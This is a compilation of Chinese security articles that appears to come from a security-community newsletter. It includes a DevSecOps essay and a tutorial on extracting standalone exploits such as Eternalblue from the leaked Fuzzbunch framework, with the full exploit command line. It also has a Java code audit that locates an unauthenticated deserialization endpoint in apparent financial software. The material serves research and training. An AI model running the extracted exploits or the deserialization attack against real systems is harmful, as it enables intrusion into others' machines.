现，可在邮件中特别告知，否则 Github 官方只会对他们认为属于隐私的信息作[private]处理。 

尾声 

笔者也是初次尝试以此法维护公司的代码安全，尤其对于一些难以联系的离职员工或机器

人账户，寻求官方帮助不失为一种好的思路和方法，希望对大家有所帮助。由于个人能力也是

有限，行文之中若有不妥之处，敬请指正。 
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作为一名企业信息安全从业者，其实我们更希望看到的是，通过不断的信息安全意识培训

和安全技术输出，使安全文化融入到企业文化，使安全意识融入到每一位开发、管理和业务人

员的日常工作中，能够未雨绸缪，何必亡羊补牢。 

欢迎对本篇文章感兴趣的同学扫描唯品会安全应急响应中心公众号二维码，一起交流学习 

 

唯品会安全应急响应中心为了邀请并鼓励广大“白帽子”和安全专家们，积极参与并提交

高质量的安全信息，唯品会安全应急响应中心除了及时回复，跟进处理外，还秉承公平公开公

正的原则，设立了贡献值与安全币的兑换机制。对于有卓越贡献的个人和团队，额外奖励面值

不菲的唯品卡，在每季度及年终，这些优 

秀的个人和团队，还将会获得 VSRC 特别颁发的，资质证书和水晶奖杯等荣誉奖励。 

今后唯品会将坚持不断完善自身安全体系与信息安全技术，增加信息安全投入，卓力打造

一套纵深防御，风险可控的信息安全管理体系，切实保障 

消费者的信息安全，为过亿会员打造更优质的购物体验。 

漏洞提交入口：https://sec.vip.com/report  

网址：https://sec.vip.com  

邮箱：sec@vipshop.com  

 

  

https://sec.vip.com/report
https://sec.vip.com/
mailto:sec@vipshop.com
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【培训】网易“白帽子黑客”训练营  
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快速从 fuzzbunch 框架中提取利用程序 

作者：ISEC 实验室张老师 

原文来源：【ISEC 安全 e 站】 

https://mp.weixin.qq.com/s?__biz=MzIxNzU5NzYzNQ==&mid=2247484143&idx=1&sn=50872c

cbe796f35382f4a2fbc41e81bc&scene=19#wechat_redirect  

Fuzzbunch，是由 python 编写的类似于 MSF 的漏洞利用平台工具，它来源于 Shadow 

Brokers 泄漏出的一份震惊世界的机密文档。Fuzzbunch 包含了大量的漏洞利用程序，可谓

是一个足足的漏洞“小金库”。 

那么如何从此“小金库”中，快速提取漏洞利用程序呢？ 

Fuzzbunch 利用程序——思路解析 

1.查看 fuzzbunch 框架的主程序“fb.py”的源码，可以看到程序设置好的框架所需的各

种全局变量，如下图： 

  

图 1 

2.接下来创建一个 fuzzbunch 框架对象实例，打印框架的 banner 并加载框架目录内的

各种插件，最后进入函数 main()： 

https://mp.weixin.qq.com/s?__biz=MzIxNzU5NzYzNQ==&mid=2247484143&idx=1&sn=50872ccbe796f35382f4a2fbc41e81bc&scene=19#wechat_redirect
https://mp.weixin.qq.com/s?__biz=MzIxNzU5NzYzNQ==&mid=2247484143&idx=1&sn=50872ccbe796f35382f4a2fbc41e81bc&scene=19#wechat_redirect
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图 2 

函数 main()的源码，如下图： 

  

图 3 

3.在函数 main()中，会进入一个 while 循环，并且调用类 fuzzbunch 的 cmdloop 方法，

所以接下来进入 fuzzbunch 模块，搜索 cmdloop 方法，在此模块没发现该方法； 

再看类 fuzzbunch 是继承了类 FbCmd 的子类，所以我们接下来在 FbCmd 模块中查找

cmdloop 方法，找到该方法的定义如下： 

  

图 4 
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从函数 cmdloop()源码中可以看到，函数从队列 cmdqueue 中提取出要执行的命令或者

调用 self.io.get_input()，从而获取用户要执行的命令，然后调用函数 runcmd()执行该命令。 

函数 runcmd()的源码如下： 

  
图 5 

该函数调用执行函数 runcmd_noex()，其源码如下： 

  
图 6 

这个 runcmd_noex()函数接着又调用了函数 onecmd()，它的源码如下： 

  
图 7 

从以上源码可看到，该函数最后将调用 do_为开头的函数，在该函数中调用 print 语句打

印相关信息，可以看到最后调用了 do_execute()函数，如图所示： 

  

图 8 
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所以在框架 fuzzbunch 目录中搜索 do_execute 函数，在 pluginmanager 模块及

deployablemanager 模块中皆有定义 do_execute()函数。先看看 pluginmanager 模块中的

do_execute()函数吧。deployablemanager 模块中的 do_execute()函数分析是一样的。 

4.pluginmanager 模块中的 do_execute()函数调用函数 plugin.execute(),源码如下： 

  

图 9 

所以我们接下来查看 edfplugin 模块中的 execute 函数，可以看到该函数调用了

edfexecution 模块的 create_pipe 函数和 launch_plugin 函数： 

  

图 10 

5.进入 edfexecution 模块，查看 create_pipe 函数和 launch_plugin 函数的源码分别如

下： 

  

图 11 

及 
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图 12 

可以看到，create_pipe 函数创建一个命名管道，然后 launch_plugin 函数通过

subprocess 模块的 Popen 函数，创建子进程运行想要执行的命令，这里执行的命令就是

exploit 程序了，其中 inName 为重定向的输入文件，即程序过程中保存配置的配置文件；

pipeName 为重定向的输出管道，即前面所创建的命名管道。所以我们直接使用 print 语句打

印出字符串 cmdline，即可知道最后执行的程序和参数了，如图所示： 

  

图 13 

即最后发起攻击的命令为 ： 
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"C:\\shadowbroke\\windows\\specials\\Eternalblue-2.2.0.exe"  --InConfig 

"c:\\log\\122\\z10.4.4.122\\Eternalblue-2.2.0.exe-2017-05-02.15.31.43.078000-InConfig.xml"  --OutConfig 

"\\\\.\\pipe\\fb-pipe085225c6-6d20-46c7-b7fd-e02fd822f73c"  --LogFile 

"c:\\log\\122\\z10.4.4.122\\Eternalblue-2.2.0.exe-2017-05-02.15.31.43.078000.log"； 

我们可以把该条命令再简化一下成 ： 

"C:\\shadowbroke\\windows\\specials\\Eternalblue-2.2.0.exe"  --InConfig 

"c:\\log\\122\\z10.4.4.122\\Eternalblue-2.2.0.exe-2017-05-02.15.31.43.078000-InConfig.xml" 

 

这样，该命令就不会输出重定向了。 

因为命令需要用到配置文件，所以只要先按照框架流程做一遍，就可以获得相应的配置文

件格式了，接下来只要根据目标更改配置文件的相应选项，就可以直接使用了。 

注意，命令提取后，调用时需要框架中的一些动态链接库文件，建议可把对应系统版本的

所有 dll 文件一起复制出来，放在某一个目录中；执行命令时，先把当前目录切换为 dll 文件

的目录，这样就不会提示缺少什么 dll 了。 

其中 Eternalblue 插件的利用命令提取出来以后，执行情况如图所示： 

  

图 14 

其他插件的利用命令提取过程类似，大家有空可以自己提权出其他插件模块的利用命令。 

本文主要是通过查看 Python 源码来追踪框架的执行操作步骤，需要有一定的 Python 基

础才能完成整个过程；如果你具备一定 Python 基础，现在就可以手动，提取出想要的工具啦！ 
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欢迎对本篇文章感兴趣的同学扫描 ISEC 安全 e 站、厦门安胜科技有限公司公众号二维码，

一起交流学习 
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DevSecOps 的一些思考  

作者：宜人贷安全应急响应中心 

原文来源：【宜人贷安全应急响应中心】 

https://mp.weixin.qq.com/s?src=11&timestamp=1507887149&ver=450&signature=c8BxG3hpA

BBWhRZRwUJIMumURqm*XLNKZY0pTDKCO0nWlt9yoOyowGd3HIyHmyh81Y-55GffYDpeXuVWc

mDr0FLKSKt0dZQ3WZhSohPqTb8gKZ2gl*TbjAcap36JUJG9&new=1  

在 RSA 大会中，“下一代应用及 IT 基础设施的安全管理模式”，被提升到了前所未有的高

度，大会甚至专门为这个概念和方向设置议题和讨论会，一个新晋热词“DevSecOps”出现

在大家的视野中。 

 

 什么是 DevSecOps 

 “DevSecOps”，一种全新的安全理念与模式，从 DevOps 的概念延伸和演变而来，其

核心理念为安全是整个 IT 团队（包括开发、运维及安全团队）每个人的责任，需要贯穿从开

发到运营整个业务生命周期的每一个环节。 

看到这个概念，第一反应是“安全运维”，是不是新瓶装旧酒呢？确实一直以来，不论从

主机安全还是到网络安全，很多工作都是安全运维的交集，既涉及到安全，同时也涉及到运维，

没有运维足够的支持很多安全工作也比较难开展。但是经过一段时间，发现最初的理解实际比

较片面，刚才提到的并不是真正 DevSecOps 所要传达的理念，DevSecOps 的出现是为了改

变和优化之前安全工作的一些现状，比如安全测试的孤立性、滞后性、随机性、覆盖性、变更

一致性等问题；通过固化流程、加强不同人员协作，通过工具、技术手段将可以自动化、重复

性的安全工作融入到研发体系内，让安全属性嵌入到整条流水线。 

https://mp.weixin.qq.com/s?src=11&timestamp=1507887149&ver=450&signature=c8BxG3hpABBWhRZRwUJIMumURqm*XLNKZY0pTDKCO0nWlt9yoOyowGd3HIyHmyh81Y-55GffYDpeXuVWcmDr0FLKSKt0dZQ3WZhSohPqTb8gKZ2gl*TbjAcap36JUJG9&new=1
https://mp.weixin.qq.com/s?src=11&timestamp=1507887149&ver=450&signature=c8BxG3hpABBWhRZRwUJIMumURqm*XLNKZY0pTDKCO0nWlt9yoOyowGd3HIyHmyh81Y-55GffYDpeXuVWcmDr0FLKSKt0dZQ3WZhSohPqTb8gKZ2gl*TbjAcap36JUJG9&new=1
https://mp.weixin.qq.com/s?src=11&timestamp=1507887149&ver=450&signature=c8BxG3hpABBWhRZRwUJIMumURqm*XLNKZY0pTDKCO0nWlt9yoOyowGd3HIyHmyh81Y-55GffYDpeXuVWcmDr0FLKSKt0dZQ3WZhSohPqTb8gKZ2gl*TbjAcap36JUJG9&new=1
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 我目前所能理解的 DevSecOps 

由于本人知识和经验有限，对 DevSecOps 的理解可能只停留在比较浅显的认知 

目前我在工作中能真正涉及和可以应用的有两部分，第一块是在资源管理，第二块是在

CI/CD 这部分，监控告警、日志分析、或者其他内容，怎么应用到 DevSecOps 中我本人还没

有很成型的思路 

 

 资源管理这块，我们用到的，主要是依赖于 YRDCMDB 系统“银河”来实现的，CMDB

里存储了宜人贷的所有主机、IP、域名、集群、应用等所有软硬件信息，这样在进行安全检查、
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安全扫描的时候，就可以直接调用银河来获取完整的信息、或者直接调用银河来执行一些简单

的扫描任务。 

 

 

宜人贷端口监控从银河获取 IP 信息完成对应的端口扫描 
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基于资产管理可以更快速、准确的知道新上线的域名、应用等，从而触发安全扫描，减少

遗漏 

在主机安全方面，我们未来也打算基于 CMDB 来做更多的联动，因为 CMDB 本身就自带

“远程采集”和“远程执行”的属性 

DevSecOps 中的安全自动化测试（扫描） 

当我们谈到 S-SDLC 的时候，总是希望安全可以更早的介入，但是随着项目的增多、迭代

频率的增加，完全依赖人工测试的方式不但会压垮安全测试人员本身，也会严重影响到整个软

件交付的速度，拖累整个上线周期，最终很多应用在得不到任何安全检查的情况下偷偷上线。 
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为了提升效率，可以将部分自动化的安全检查工作纳入到 CICD 的流程中，并且将大部分

流程自动触发和执行，让安全测试人员可以聚焦到更核心的业务和工作上，同时尽可能减少安

全测试工作对软件发布带来的时间消耗。 

 

 

代码静态安全检查有商业化的解决方案比如 Coverity，我们这里使用的是开源解决方案，

Sonar+Findbug Security，根据需求精简了规则，在持续构建的过程中，会进行代码静态安

全检查 
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第二阶段，当完成功能自动化测试后，可以进行安全自动化测试（扫描）。在这里我们简

单封装了开源的漏洞扫描工具，将扫描任务、漏洞执行描述、结果等信息通过 WEB 方式进行

展示，方便统一使用和管理。 
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下面这张图是我们未来想要继续改进的方向，大致思路如下： 

  在各个业务的功能自动化测试平台集成安全测试用例 

  功能测试平台主动调用安全测试平台（传入登录操作所需的信息） 

  安全平台模拟登录后，开始进行扫描 

  最终将结果反馈给 CI 平台 
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这里涉及到和功能测试自动化团队的协作，对于成熟的测试团队，让他们来实现一个登录

初始化的数据并且构造一些业务数据，应该不是很难的事情，这样安全测试人员就不再需要去

维护每个业务的登录去构造数据了，有了登录和一定的业务数据，安全扫描的效果也会好上很

多 

 

 

用 DevSecOps 理念来解决第三方组件的漏洞问题 

在软件开发中，安全人员还经常遇到的问题就是来自第三方组件的安全漏洞应急，比如今

年发生的 Struts2、fastjson 等漏洞，都是在软件开发过程中引入的，这块儿是比较好和

DevSecOps 相结合的。 

不考虑入侵排查的因素，正常的响应流程一般为 1DAY 高危漏洞爆发，安全人员获取和验

证 POC 之后，在 WAF 中添加恶意请求特征，缓解风险，同时推进补丁升级。传统的方式一

般是人肉统计、或者通过批量命令执行检查线上服务器的制定目录和文件、lsof 进程所打开的

文件等，这样的方式，第一容易出现遗漏且效率低下，第二应急结束后未来又有新的系统发布

再次引入了该漏洞组件后，并不能及时发现。 
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这里我们引入了 XRAY+统一发布的方式来解决这个难题。在构建过程中，会根据漏洞库

进扫描二进制文件，一旦发现包含高危漏洞的组件被引入，可直接告警或直接阻断发布。 

XRAY 的工作方式如下： 

  文件 HASH 比对 

  可对接多个漏洞库：NVD、Blackduck、Whitesource、Aqua 等 

  支持深度分解检测：从 docker 镜像、到 rpm 包、war 包、jar 包等，层层分解，

进行扫描 

甚至根据漏洞库的修复方案，可直接对受影响版本自动更新版本号以及解决依赖升级问题

（这个我没有验证过）。这里想针对 docker 多说两句，线上环境的一致性和变更管理其实很

困难，我觉得 docker 很大的一个好处就是解决了环境一致性问题，因为每次都需要重新构建，

从 OS 到组件再到应用，无形之中也对漏洞修复工作带来了便利性，修复效率有所提升。 
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每次构建的软件都保存在仓库中，可以快速筛选出使用的第三方组件，比如 fastjson 
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而通过统一发布平台和仓库的关联，则可以快速找到哪些项目包含了带漏洞的组件，并且

之前已经被发布到线上环境，做到快速筛查 

 

 

总结 

DevSecOps 这个概念提出来的时间虽然不长，而且和以往 S-SDLC 的思路也有一些交集，

但是却再次定义了安全在软件工程中的重要性以及结合方式；在敏捷思想和 DevOps 已经足

够成熟的今天，相信未来会有更多思想被提炼出来、也会有更多的最佳实践来提高安全工作的

效率 

参考 

http://www.nsfocus.com.cn/content/details_147_2361.html 

https://yq.aliyun.com/articles/7452 

http://www.nsfocus.com.cn/content/details_147_2361.html
https://yq.aliyun.com/articles/7452
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欢迎对本篇文章感兴趣的同学扫描宜人贷安全应急响应中心公众号二维码，一起交流学习 
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层层放大 java 审计的攻击面 

作者：补天精英白帽子 jkgh006 

原文来源：【补天精品漏洞】https://mp.weixin.qq.com/s/WT1EXEryUGGqHQpSi959xw  

绪论 

当你面对一个几个 G 的大型框架代码时候，怎么能够剥茧抽丝，把一个个小点放大到到

处都是漏洞，这个就需要我们队 javaweb 框架进行整理的分析评估，因为拿到你手上的并不

能调试，你只能根据代码功底，一个个的分析，找出来影响输入输出的点。 

分析对象为某软件公司的大型财务软件 

漏洞分析 

从一个 javaweb 的入口文件开始，我们分析 web.xml ： 

<servlet-mapping> 

  <servlet-name>NCInvokerServlet</servlet-name> 

  <url-pattern>/service/*</url-pattern> 

</servlet-mapping> 

  

<servlet>  

 <servlet-name>NCInvokerServlet</servlet-name> 

  <servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class> 

</servlet> 

这个里面跟进去看看 ： 

private void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, 

IOException { 

    String token = this.getParamValue(request, "security_token"); 

    String userCode = this.getParamValue(request, "user_code"); 

    if(userCode != null) { 

        InvocationInfoProxy.getInstance().setUserCode(userCode); 

    } 

 

    if(token != null) { 

        NetStreamContext.setToken(KeyUtil.decodeToken(token)); 

    } 

 

    String pathInfo = request.getPathInfo(); 

https://mp.weixin.qq.com/s/WT1EXEryUGGqHQpSi959xw
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    log.debug("Before Invoke: " + pathInfo); 

    long requestTime = System.currentTimeMillis(); 

 

    try { 

        if(pathInfo == null) { 

            throw new ServletException("Service name is not specified, pathInfo is null"); 

        } 

 

        pathInfo = pathInfo.trim(); 

        String moduleName = null; 

        String serviceName = null; 

        int beginIndex; 

        if(pathInfo.startsWith("/~")) { 

            moduleName = pathInfo.substring(2); 

            beginIndex = moduleName.indexOf("/"); 

            if(beginIndex >= 0) { 

                serviceName = moduleName.substring(beginIndex); 

                if(beginIndex > 0) { 

                    moduleName = moduleName.substring(0, beginIndex); 

                } else { 

                    moduleName = null; 

                } 

            } else { 

                moduleName = null; 

                serviceName = pathInfo; 

            } 

        } else { 

            serviceName = pathInfo; 

        } 

 

 

        String method; 

        try { 

            obj = this.getServiceObject(moduleName, serviceName); 

代码片段解释 ： 

if(pathInfo.startsWith("/~")) { 

    moduleName = pathInfo.substring(2); 
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    beginIndex = moduleName.indexOf("/"); 

    if(beginIndex >= 0) { 

        serviceName = moduleName.substring(beginIndex); 

        if(beginIndex > 0) { 

            moduleName = moduleName.substring(0, beginIndex); 

        } else { 

            moduleName = null; 

        } 

    } else { 

        moduleName = null; 

        serviceName = pathInfo; 

    } 

如果以/~开始我们可以假设/~uap/UploadServlet 那么最后 moduleName 就是 uap 

serviceName 就是 UploadServlet ： 

try { 

    obj = this.getServiceObject(moduleName, serviceName); 

} catch (ComponentException var76) { 

    method = svcNotFoundMsgFormat.format(new Object[]{serviceName}); 

    Logger.error(method, var76); 

    throw new ServletException(method); 

} 

 

ThreadTracer.getInstance().startThreadMonitor("invokeservlet-" + serviceName + "-" + (obj == 

null?"":obj.getClass().getName()), request.getRemoteAddr() + ":" + request.getRemotePort(), "anonymous", 

(String)null); 

if(obj instanceof Servlet) { 

    Logger.init(obj.getClass()); 

 

    try { 

        if(obj instanceof GenericServlet) { 

            ((GenericServlet)obj).init(); 

        } 

 

        this.preRemoteProcess(); 

        ((Servlet)obj).service(request, response); 

        this.postRemoteProcess(); 
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通过这里的 getServiceobject 来获取对应的路由规则，最后执行各个目标的 service 函

数 

 

这里适用  

 

里面在 meta-INF 所有已 upm 结尾的就是它的配置文件 
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modules\uap\meta-INF\S_uapbase63.upm 看看这里的结构 

 

里面又属性为 accessProtected 这个为 false 就是不需要验证的并且可以对外调用的，

为 true 就是内部调用的接口 

这里整个 module 以及全局配置文件的解析过程都在 ： 

public NewModuleDeployer(BusinessAppServer appServer) { 

    super(appServer); 

    this.appServer = appServer; 

} 

 

private Module parseModule(File md, Module module) { 

    File[] cfs = this.getModuleConfigFiles(md); 

    Xvs mxvs = this.newModuleXvs(); 

    InputStream in = null; 

 

    try { 

        in = this.getInputStream(cfs[0]); 

        mxvs.setId(cfs[0].toString()); 

        mxvs.parse(module, in); 

    } catch (Exception var20) { 

        logger.error(String.format("parse file <%s> error when deploy module <%s>", new 

Object[]{cfs[0].getName(), md.getName()})); 

    } finally { 

        IOUtil.close(in); 

    } 

 

    if(this.server.getContainer(module.getName()) != null) { 

        logger.error(String.format("%s has the same module name with module at: %s", new 

Object[]{this.server.getContainer(module.getName()).getUrl(), md})); 

        return null; 
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    } else { 

        for(int i = 0; i < cfs.length; ++i) { 

            try { 

                boolean e = true; 

                if(cfs[i].getName().endsWith(".module")) { 

                    e = false; 

                } 

 

                Xvs cmntXvs = this.newCmntXvs(e); 

                in = this.getInputStream(cfs[i]); 

                cmntXvs.setId(cfs[i].toString()); 

                cmntXvs.parse(module, in); 

            } catch (Exception var18) { 

                logger.error(String.format("parse file <%s> error when deploy module <%s>", new 

Object[]{cfs[i].getName(), md.getName()}), var18); 

            } finally { 

                IOUtil.close(in); 

            } 

        } 

 

        return module; 

    } 

} 

总体上来看就是解析.module 文件，并且这个配置文件 accessProtected="false" 

才可以被外部调用 

搜索以下 有多少个这样的： 

 

这个将近有 461 处，放大这么多接口，肯定有很多漏洞 

知道了所有的整体流程，那么才开始我们的漏洞检查 ： 

nc.file.pub.imple.FileUploadServlet 
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protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 

    this.showFileInWeb(req, resp); 

} 

 

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 

    this.doAction(req, resp); 

} 

 

public void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, 

IOException { 

    ServletInputStream in = null; 

    ObjectInputStream objIn = null; 

 

    try { 

        in = request.getInputStream(); 

        objIn = new ObjectInputStream(in); 

        Map th = (Map)objIn.readObject(); 

        Map argMap = (Map)objIn.readObject(); 

这里直接进行了反序列化操作 

构造 payload 
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【活动】陌陌安全应急响应中心  
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【致谢】 

  

http://weibo.com/u/6043357856
http://isc.360.cn/2017/index.html
http://kcon.knownsec.com/
http://www.mosec.org/
http://ssc.seclover.com/
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https://security.360.cn/
https://security.iqiyi.com/
http://sec.baidu.com/views/main/index.html#home
http://loudong.360.cn/
http://sec.didichuxing.com/
http://sec.tuniu.com/
https://security.ele.me/
https://fsrc.fuiou.com/home/index.html
http://src.100tal.com/
https://security.jj.cn/
http://security.jd.com/
http://security.coolpad.com/
http://weibo.com/lesrc
http://security.lexinfintech.com/security/index
https://lsrc.vulbox.com/
http://security.mogujie.com/#/
http://security.immomo.com/
http://bobao.360.cn/introduce/detail/223.html
http://sec.sogou.com/
https://security.suning.com/ssrc-web/index.jsp
https://sec.ly.com/
http://sec.tuniu.com/
https://sec.wacai.com/
http://anquan.163.com/
https://sec.wifi.com/
https://sec.vip.com/
http://wsrc.weibo.com/
https://sec.xiaomi.com/
http://sec.sina.com.cn/
https://sec.ctrip.com/
https://security.yirendai.com/
https://sec.zbj.com/
http://b.360.cn/
https://www.aisec.com/cn/
http://www.anscen.cn/
http://www.ansion.cn/
http://www.baimaohui.net/
http://www.pwnzen.com/
https://chaitin.cn/cn/
file:///D:/活动纪要/2017年第二季度/Q2/ichunqiu.com
http://www.weehoursec.com/
https://www.moresec.cn/
http://www.tass.com.cn/portal/
http://www.jeeseen.com/
http://bigsec.com/
http://www.yuesec.com/
http://www.seclover.com/
https://www.sobug.com/
http://www.silence.com.cn/
https://xianzhi.aliyun.com/
https://www.knownsec.com/#/
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https://zhuanlan.zhihu.com/anzer
http://www.secbox.cn/
http://www.aqniu.com/
http://tt.aisec.com/tt/
http://tt.aisec.com/tt/
https://www.77169.com/
http://bbs.pediy.com/
https://www.leiphone.com/
http://www.mottoin.com/
http://www.sec-wiki.com
http://www.4hou.com/
http://www.secwk.com/
https://usercenter.xctf.org.cn/
https://0kee.360.cn/
http://bobao.360.cn/
http://weibo.com/IceSwordLab
http://unicorn.360.cn/
http://marvel.360.cn/
http://zhuiri.360.cn/
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